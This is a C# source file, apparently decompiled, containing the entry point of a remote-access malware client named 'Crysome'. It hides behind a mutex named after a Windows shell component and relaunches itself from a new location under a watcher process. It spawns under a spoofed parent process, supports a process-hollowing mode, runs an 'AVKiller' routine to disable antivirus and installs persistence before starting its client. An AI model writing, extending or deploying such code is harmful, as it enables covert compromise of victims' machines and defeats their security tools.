using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using Crysome.Client.Configuration;

namespace Crysome.Client;

internal class Program
{
	internal static string logPath;

	[DllImport("user32.dll")]
	private static extern bool SetProcessDPIAware();

	[STAThread]
	private static void Main(string[] args)
	{
		try
		{
			SetProcessDPIAware();
		}
		catch
		{
		}
		if (args != null && args.Length >= 2 && "--watcher".Equals(args[0], StringComparison.OrdinalIgnoreCase))
		{
			if (!int.TryParse(args[1], out var result))
			{
				return;
			}
			try
			{
				ClientConfiguration.Init();
				if (ClientConfiguration.IsFeatureEnabled("protect"))
				{
					SelfProtect.RunAsWatcher(result);
				}
				return;
			}
			catch
			{
				return;
			}
		}
		bool createdNew;
		using (new Mutex(initiallyOwned: true, "Global\\Microsoft.Windows.Shell_InstanceActivationMgr_b4e7f1a2", out createdNew))
		{
			if (!createdNew)
			{
				return;
			}
			try
			{
				logPath = Path.Combine(Path.GetTempPath(), "Crysome_debug.log");
			}
			catch
			{
				logPath = "C:\\Crysome_debug.log";
			}
			Log("=== Crysome CLIENT STARTING ===");
			Log("EXE: " + AppDomain.CurrentDomain.BaseDirectory);
			Log("CLR: " + Environment.Version);
			Log("Hollowed: " + ClientConfiguration.IsHollowed);
			AppDomain.CurrentDomain.UnhandledException += delegate(object s, UnhandledExceptionEventArgs e)
			{
				Log("FATAL UNHANDLED: " + ((e.ExceptionObject as Exception)?.ToString() ?? e.ExceptionObject?.ToString()));
			};
			try
			{
				RealMain(args ?? new string[0]);
			}
			catch (Exception ex)
			{
				Log("FATAL CRASH: " + ex.ToString());
				try
				{
					Console.WriteLine("FATAL: " + ex.ToString());
					Console.WriteLine("Check log: " + logPath);
					Console.ReadKey();
				}
				catch
				{
				}
			}
		}
	}

	private static void RealMain(string[] args)
	{
		Log("Loading config...");
		try
		{
			ClientConfiguration.Init();
		}
		catch (Exception ex)
		{
			Log("Config init error: " + ex.ToString());
		}
		if (ClientConfiguration.EnabledFeatures != null)
		{
			try
			{
				Log("Features: " + string.Join(",", ClientConfiguration.EnabledFeatures));
			}
			catch
			{
			}
		}
		else
		{
			Log("Features: all");
		}
		if (ClientConfiguration.IsFeatureEnabled("protect"))
		{
			try
			{
				if (SelfProtect.NeedsRelocation())
				{
					Log("SelfProtect: needs relocation.");
					if (SelfProtect.RelocateAndRelaunch(args))
					{
						Log("SelfProtect: relocated, exiting original.");
						Environment.Exit(0);
						return;
					}
					Log("SelfProtect: relocation failed or not needed, continuing.");
				}
				else
				{
					Log("SelfProtect: already in correct path.");
				}
			}
			catch (Exception ex2)
			{
				Log("SelfProtect relocation error: " + ex2.Message);
			}
		}
		bool flag = args != null && Array.Exists(args, (string a) => "--spoofed".Equals(a, StringComparison.OrdinalIgnoreCase));
		string parentSpoof = ClientConfiguration.ParentSpoof;
		bool flag2 = !ClientConfiguration.IsHollowed;
		if (flag2 && !flag && !string.IsNullOrEmpty(parentSpoof) && parentSpoof != "None")
		{
			string fileName = Process.GetCurrentProcess().MainModule.FileName;
			Log("Parent spoof: spawning under " + parentSpoof + " from " + fileName);
			if (ParentSpoof.TrySpawnUnderParent(parentSpoof, fileName, "--spoofed"))
			{
				Log("Spawned under parent. Exiting this spawner.");
				Environment.Exit(0);
				return;
			}
			Log("Parent spoof failed, continuing normally.");
		}
		else if (!flag2 && !string.IsNullOrEmpty(parentSpoof) && parentSpoof != "None")
		{
			Log("Parent spoof skipped (hollowed mode).");
		}
		if (ClientConfiguration.IsFeatureEnabled("protect"))
		{
			try
			{
				Log("SelfProtect: starting active protection...");
				SelfProtect.Start();
			}
			catch (Exception ex3)
			{
				Log("SelfProtect start error: " + ex3.Message);
			}
		}
		if (ClientConfiguration.IsFeatureEnabled("avkill"))
		{
			try
			{
				Log("AVKiller: neutralizing...");
				AVKiller.Start();
			}
			catch (Exception ex4)
			{
				Log("AVKiller error: " + ex4.Message);
			}
		}
		if (ClientConfiguration.IsFeatureEnabled("survival"))
		{
			try
			{
				Log("Survival: installing...");
				Survival.Install();
			}
			catch (Exception ex5)
			{
				Log("Survival error: " + ex5.Message);
			}
		}
		Log("Starting client runner...");
		new ClientRunner().Run();
	}

	internal static void Log(string msg)
	{
		try
		{
			string text = "[" + DateTime.Now.ToString("HH:mm:ss.fff") + "] " + msg + Environment.NewLine;
			if (!string.IsNullOrEmpty(logPath))
			{
				File.AppendAllText(logPath, text);
			}
			try
			{
				Console.Write(text);
			}
			catch
			{
			}
		}
		catch
		{
		}
	}
}
